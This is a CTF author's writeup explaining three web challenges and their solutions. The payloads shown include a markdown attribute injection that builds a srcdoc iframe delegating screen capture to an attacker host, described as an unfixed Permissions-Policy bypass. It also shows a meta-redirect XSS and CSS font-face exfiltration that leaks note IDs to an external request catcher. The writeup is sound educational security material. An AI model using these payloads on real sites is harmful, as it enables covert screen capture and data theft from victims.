CrewCTF 2025 - Author's Writeup

scoreboard

Last week, CrewCTF 2025 happened, and I created two web challenges for it. Technically, I ended up with three challenges. A last minute change opened the door to an unintended solution that players quickly started using, and to my surprise someone even posted a Medium writeup before the CTF ended. So, I had to release a revenge.

This was my first time creating challenges for a competition, and I hope you enjoyed them! :)

(Apologies to those who found my challenge particularly difficult)


Professor’s View

TL;DR Permission Hijacking


intro

A course designed to take students’ knowledge to the next level.

This challenge was inspired by some research I did [blog, paper-src (will be presented at IMC 2025 🤞)]. There weren’t many solves, so it seems it was the right difficulty for CrewCTF. Sorry for all this spam, but it’s for putting some context of why, and I think it was a fun and uncommon challenge :)

Now let’s dive into the challenge. At first it appears to be a standard XSS setup with a bot where you can submit a complaint to the ‘Professor’ for review. The Professor keeps the flag on his dashboard at /professor and visits this endpoint with the student and the complaint that gets rendered. The complaint content is processed with markdown using the following js:

// Make markdown possible for students to be descriptive 
const escapeQuotes = (content) => {
  return content
    .replaceAll(`"`, '"')
    .replaceAll(`'`, ''')
}

const escapeHtml = (content) => {
  return content
    .replaceAll('<', '&lt;')
    .replaceAll('>', '&gt;');
}

const createImg = (match, altText, src) =>{
  return `<img alt="${escapeQuotes(altText)}" src="${escapeQuotes(src)}"></img>`
}

const createLink = (match, href, text) =>{
  return `<a href="${escapeQuotes(href)}">${escapeHtml(text)}</a>`
}

const referPage = (match, src) =>{
  return `<iframe src="${escapeQuotes(src)}"></iframe>`
}

const strong = (match, strong) => {
  return `<strong>${escapeHtml(strong)}</strong>`;
}

const markdown = (content) => {
  // Prevent XSS
  content = escapeHtml(content);
  return content
    .replace(/!\[([^]*?)\]\(([^]*?)\)/g, createImg)
    .replace(/&\[([^]*?)\]\(([^]*?)\)/g, referPage)
    .replace(/\[(.*?)\]\(([^]*?)\)/g, createLink)
    .replace(/\*\*(.*?)\*\*/g, strong)
    .replace(/  $/mg, `<br>`);
}


// Get and add complain
const urlParams = new URLSearchParams(window.location.search);
const student = urlParams.get('student');

if (student) {
    document.getElementById('student').textContent = student;
} else {
    document.getElementById('student').textContent = 'No student found in URL.';
}

const complain = urlParams.get('complain');
if (complain) {
    document.getElementById('complain').innerHTML = markdown(complain);
} else {
    document.getElementById('complain').textContent = 'No complaint found in URL.';
}

This markdown supports creating images, links, embedded pages, and bold text. At first, it might seem safe since attribute quotes are escaped and values escape the less-than and greater-than symbols. The trick lies in what happens when you nest one element inside another.

<img alt="<a href=" BUBU "></a>" src="whatever"></img>

As you can see in this example the alt becomes <a href= so anything you put inside the a tag (BUBU) is turned into an image attribute. From there you would close the img element and inject the payload. At that point you will notice that the angle brackets are escaped, so using onerror or similar event handlers to run js seems logical. That is where the Content-Security-Policy (CSP) comes into play.

Content-Security-Policy: script-src 'self' https://js.hcaptcha.com/1/api.js; style-src 'self'; img-src 'self'; font-src 'none'; connect-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; frame-ancestors 'none'; form-action 'self';

Using resources like CSPBypass suggested this could be bypassable via JSONP in hCaptcha, but as far as I know you can only call an existing function there (ref), not declare arguments or define the function itself. I only used hCaptcha because I didn’t know we would be using an instancer and I wanted to avoid bot spam. With this CSP in place we can forget about using XSS or CSS exfiltration, so let us continue examining the challenge.

At this point there are two ways to move in the right direction (I tried to avoid including any rabbit holes). The first one involves an unused path on the website (/profmeet) and the corresponding code, which designates a section used for video conferences with students:


app.get('/profmeet', (req, res) => {
    // Element number 4123 in my TO-DO list
    // maybe for new year's resolutions of 2026
    res.send(`<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CrewCTF</title>
    <link rel="stylesheet" href="/static/styles.css">
    <script src="https://js.hcaptcha.com/1/api.js" async defer></script>
</head>
<body>
    <div class="menu">
      <img class="plusplusplus" width=64 src="/static/+++.png">
      <ul>
        <li><a href="/">Home</a></li>
        <li><a href="/report">Report to Professor</a></li>
        <li><a href="/ProfMeet">Office Hours Videoconference</a></li>
        <li><a href="/syllabus">Syllabus</a></li>
      </ul>
    </div>

    <h1>Office Hours Meeting</h1>
    <h1>🚧 Under construction! 🚧</h1>
    <footer>
        <p>&copy; 2025 Web Security Course. All rights reserved.</p>
    </footer>
  </body>
</html>`);
});

profmeet

The second approach to identifying the correct path relied on the bot’s flags:

browser = await puppeteer.launch({
     headless: false,
     //pipe: true,
     executablePath: '/usr/bin/chromium',
     ignoreHTTPSErrors: true, 
     acceptInsecureCerts: true,
     args: [
         '--ignore-certificate-errors',
         '--no-sandbox',
         '--disable-setuid-sandbox',
         '--auto-select-desktop-capture-source=E',
         '--disable-wasm',
         '--disable-dev-shm-usage',
         '--disable-gpu',
         '--disable-crash-reporter',
         '--no-crashpad',
         '--jitless'
     ]
});

If you look closely, there is one unusual flag. This flag is --auto-select-desktop-capture-source=E. If we check Peter’s Chromium flag list on his website, we can find the flag, described as follows:

This flag makes Chrome auto-select the provided choice when an extension asks permission to start desktop capture. Should only be used for tests. For instance, –auto-select-desktop-capture-source=“Entire screen” will automatically select sharing the entire screen in English locales. The switch value only needs to be substring of the capture source name, i.e. “display” would match “Built-in display” and “External display”, whichever comes first.

In other words, ‘E’ stands for ‘Entire screen,’ and the flag avoids the prompt that usually appears when a website asks to share your screen like allowing and selecting the screen to share. We now understand that the challenge requires using screen sharing to capture the flag from the bot.

A third suggestion could become visible when the container is initialized with Xvfb and the bot runs with headless: false which is pretty unusual due to the overhead provoked by this.

Now we need to figure out how to use display capture to get the flag. If you are not familiar with how browser permissions work I recommend an article I wrote a few months ago [link]. TL;DR display capture permissions are granted at the top level, so, in this case we must delegate the permission to our own origin because we cannot produce the XSS. This is where Permissions-Policy comes into play.

// Middleware to add security headers to all responses
app.use((req, res, next) => {
    // Prevent any attack
    res.setHeader('X-Content-Type-Options', 'nosniff');
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader('Content-Security-Policy', "script-src 'self' https://js.hcaptcha.com/1/api.js; style-src 'self'; img-src 'self'; font-src 'none'; connect-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; frame-ancestors 'none'; form-action 'self';");
    res.setHeader('Referrer-Policy', 'no-referrer');
    res.setHeader('Permissions-Policy', 'accelerometer=(),attribution-reporting=(),autoplay=(),browsing-topics=(),camera=self,captured-surface-control=(),ch-device-memory=(),ch-downlink=(),ch-dpr=(),ch-ect=(),ch-prefers-color-scheme=(),ch-prefers-reduced-motion=(),ch-rtt=(),ch-save-data=(),ch-ua=(),ch-ua-arch=(),ch-ua-bitness=(),ch-ua-form-factors=(),ch-ua-full-version=(),ch-ua-full-version-list=(),ch-ua-mobile=(),ch-ua-model=(),ch-ua-platform=(),ch-ua-platform-version=(),ch-ua-wow64=(),ch-viewport-height=(),ch-viewport-width=(),ch-width=(),clipboard-read=(),clipboard-write=(),compute-pressure=(),cross-origin-isolated=(),deferred-fetch=(),digital-credentials-get=(),display-capture=self,encrypted-media=(),ethereum=(),fullscreen=(),gamepad=(),geolocation=(),gyroscope=(),hid=(),identity-credentials-get=(),idle-detection=(),join-ad-interest-group=(),keyboard-map=(),local-fonts=(),magnetometer=(),microphone=self,midi=(),otp-credentials=(),payment=(),picture-in-picture=(),private-aggregation=(),private-state-token-issuance=(),private-state-token-redemption=(),publickey-credentials-create=(),publickey-credentials-get=(),run-ad-auction=(),screen-wake-lock=(),serial=(),shared-storage=(),shared-storage-select-url=(),solana=(),storage-access=(),sync-xhr=(),unload=(),usb=(),window-management=(),xr-spatial-tracking=()');
    res.setHeader('Cache-Control', 'no-store');
    next();
});

If we look more closely, we find three permissions with the directive set to self: camera, microphone, and display-capture, all of which are related to meetings (/profmeet). The self directive means that only the top-level page and same-origin iframes can request these permissions. In this case due to the --auto-select-desktop-capture-source, directly using the display-capture permission. In our case, since the CSP blocks us and there are no other endpoints to inject into, we cannot place our payload at the top level to take a screenshot. It looks like we might be at a dead end.

This is where a bypass I discovered during my research comes in. My trick, which hasn’t been fixed since I reported it more than one year ago, allows us to bypass the self directive. The bypass I identified, similar to a CSP bypass known for some time, uses local-scheme documents. Headerless documents like about:srcdoc do not produce HTTP requests and therefore lack response headers. They usually inherit headers, in particular security headers like CSP, from their parent document. This does not apply to Permissions-Policy yet.

Using all this information, we can visualize the solution. The plan is to send the Professor/bot an injection with a headerless document. Inside this headerless iframe, not having the PP self restriction, we include an iframe pointing to our attacker site, thereby delegating display-capture. The payload, as outlined in the issue, would be constructed like this: <iframe srcdoc="<iframe src='https://ATTACKER.com' allow='display-capture'></iframe>"></iframe>. Now, we need to convert this into our specific case.

In the markdown, we can inject attributes, but < and > are stripped, so direct injection is blocked. The approach is to first use referPage and then createLink to inject into an iframe tag. This allows setting srcdoc, but we can’t declare inside any html tag due to sanitization. (Update: not really, I think some players get their payload right because of the sanitization). A final trick is required to assemble the complete payload. Here is a relevant statements from the specification:

In the HTML syntax, authors need only remember to use U+0022 QUOTATION MARK characters (") to wrap the attribute contents and then to escape all U+0026 AMPERSAND (&) and U+0022 QUOTATION MARK (") characters, and to specify the sandbox attribute, to ensure safe embedding of content. (And remember to escape ampersands before quotation marks, to ensure quotation marks become " and not &quot;.)

The specification states that quotes can be replaced with entities, yet in practice, the < and > characters are also replaced. I don’t know the real reason for this or any official spec/doc but it works.

Putting all the pieces together, the goal is to take a screenshot of the Professor screen bypassing the Permissions-Policy header and delegating display-capture to our page, using an HTML attribute injection with HTML entities for srcdoc. Final solution would be something like:

&[a[srcdoc=&lt;iframe/src=&apos;https://ATTACKER.COM&apos;/allow=display-capture&gt; ](a)](a)

Remember also, that using the permission only happens in Secure Contexts. This is, we need to load our page over https. You can host the attacker site using one of the many free services. In my case, I used localhost.run. Once the permission hijacking is exploited, a screenshot similar to the one below will be sent to your server.

solve

I plan to release my solve script here for anyone interested in checking it out.

crew{permissions_are_fun_even_that_people_dont_really_care_1a3b7c9d}

Special Mention: Valenter from TheRomanXpl0it

solve


Love Notes and Hate Notes


Love Notes and Hate Notes share 99% of their code, but Love Notes had many more solutions due to a last-minute change I made. I’ll explain that change later.

For now, let’s start with the unintended solution


Love Notes

TL;DR Meta redirect and XSS.


intro

The challenge follows the classic note-creation format, where a bot is responsible for checking the submitted notes. This pattern is quite common in CTFs.

dashboard

The bot keeps the flag in its notes, so you need to exfiltrate either its notes or the note ID. The bot reviews notes like this:

review

If we attempt an XSS in either parameter, we observe CSP blocking it:

csp-block

Content-Security-Policy', `script-src https://inst-0c8372f34c4c69b9-love-notes.chal.crewc.tf/static/dashboard.js https://js.hcaptcha.com/1/api.js; style-src https://inst-0c8372f34c4c69b9-love-notes.chal.crewc.tf/static/; img-src 'none'; connect-src 'self'; media-src 'none'; object-src 'none'; prefetch-src 'none'; frame-ancestors 'none'; form-action 'self'; frame-src 'none';

Now that XSS from the HTML injection is off the table, let us dive into the note endpoint where I made the mistake. Server code to serving the note (/api/notes/:noteId) is the following one:

router.get('/:noteId', async (req, res) => {
  const { noteId } = req.params;
  try {
    const note = await Note.findById(noteId);
    if (!note) {
      return res.status(404).json({ message: 'Note not found' });
    }

    // Look mom, I wrote a raw HTTP response all by myself!
    // Can I go outside now and play with my friends?
    const responseMessage = `HTTP/1.1 200 OK
Date: Sun, 7 Nov 1917 11:26:07 GMT
Last-Modified: the-second-you-blinked
Type: flag-extra-salty, thanks
Length: 1337 bytes of pain
Server: thehackerscrew/1970 
Cache-Control: never-ever-cache-this
Allow: pizza, hugs, high-fives
X-CTF-Player-Reminder: drink-water-and-keep-hydrated

${note.title}: ${note.content}

`
    res.socket.end(responseMessage)
  } catch (error) {
    console.error(error);
    res.status(500).json({ message: 'Server error' });
  }
});

As we can see, in this endpoint there is no Content-Security-Policy (unintended) and Content-Type is not defined, so, we can produce the XSS and fetch all the notes. At this point, most teams figured out (correctly, but not as I intended) that they could <meta> redirect the bot from the CSP-protected page with HTML injection (Note A) to the note API endpoint (Note B), which had no CSP. In other words, the bot reviews Note A with <meta> redirect to /api/notes/noteB. That’s how most teams solved it, though it was unintended.

crew{csp_trick_with_a_bit_of_css_spices_fBi4WVX1kGzPtavs}

Hate Notes

TL;DR CSS injection and CSP path relaxation.

intro

During the night, while I was asleep, m0z sent me a message asking about the real intended solution because of the love-notes flag. When I woke up and saw the high number of solves, I was like, wtf? where’s the unintended path? After a few minutes, I realized it must have been my last-minute change.

My Last Minute change

My last minute change was changing this:

res.removeHeader('Content-Type');
res.write(`${note.title}: ${note.content}`)

to this:

    const responseMessage = `HTTP/1.1 200 OK
Date: Sun, 7 Nov 1917 11:26:07 GMT
Last-Modified: the-second-you-blinked
Type: flag-extra-salty, thanks
Length: 1337 bytes of pain
Server: thehackerscrew/1970 
Cache-Control: never-ever-cache-this
Allow: pizza, hugs, high-fives
X-CTF-Player-Reminder: drink-water-and-keep-hydrated

${note.title}: ${note.content}

`
    res.socket.end(responseMessage)

Maybe at the first look you don’t see the difference. The real problem comes that the first one, a part from making explicit that I was removing CT header, there was a CSP because of the middleware. So, the XSS wasn’t possible.

Patch for the revenge

Patch was really easy, just setting the CSP would close the possibility for the XSS:

    const responseMessage = `HTTP/1.1 200 OK
...headers...
Content-Security-Policy: default-src 'none'

${note.title}: ${note.content}

`
    res.socket.end(responseMessage)

Intended way

The intended way was to do CSS Exfiltration taking advantage of Path Relaxation (spec). For the exfiltration, the idea was to use fonts, due to the fact that imgs are not allowed by CSP. In other words, you have to create one note with the font exfiltration and then, send the bot to review a note that uses the redirection in /static to include the first note as stylesheet. So, final procedure was:

Note 1 (3090adc1-fbea-4f41-b361-88b810063f51): 
@font-face {
  font-family: exfilFont0;
  src: url(https://bubu.requestcatcher.com/?id=0);
}
a[href^='/api/notes/0'] {
  font-family: exfilFont0;
}

@font-face {
  font-family: exfilFonta;
  src: url(https://bubu.requestcatcher.com/?id=a);
}
a[href^='/api/notes/a'] {
  font-family: exfilFonta;
}


Note 2 (3090adc1-fbea-4f41-b361-88b810063f51):

<link rel=stylesheet href="/static/api/notes/3090adc1-fbea-4f41-b361-88b810063f51"/>

Report to the bot note 2 (3090adc1-fbea-4f41-b361-88b810063f51).

In this way we need to exfiltrate char by char until we have all the id of the note and we visit it to get the flag.

solve
solve

I plan to release my solve script here for anyone interested in checking it out.

crew{now_you_solved_it_in_the_right_way_fBi4WVX1kGzPtavs}

For this challenge I took the inspiration from Joaxcar challenge some time ago.

Conclusion

Building these two or three challenges was fun. It was my first time on the other side, helping players instead of solving challenges. Hope you enjoyed them :)

Thanks for reading!

Alberto Fernandez-de-Retana
Alberto Fernandez-de-Retana

Kaixo! My research interests include web security & privacy. In my free time I love to be pizzaiolo.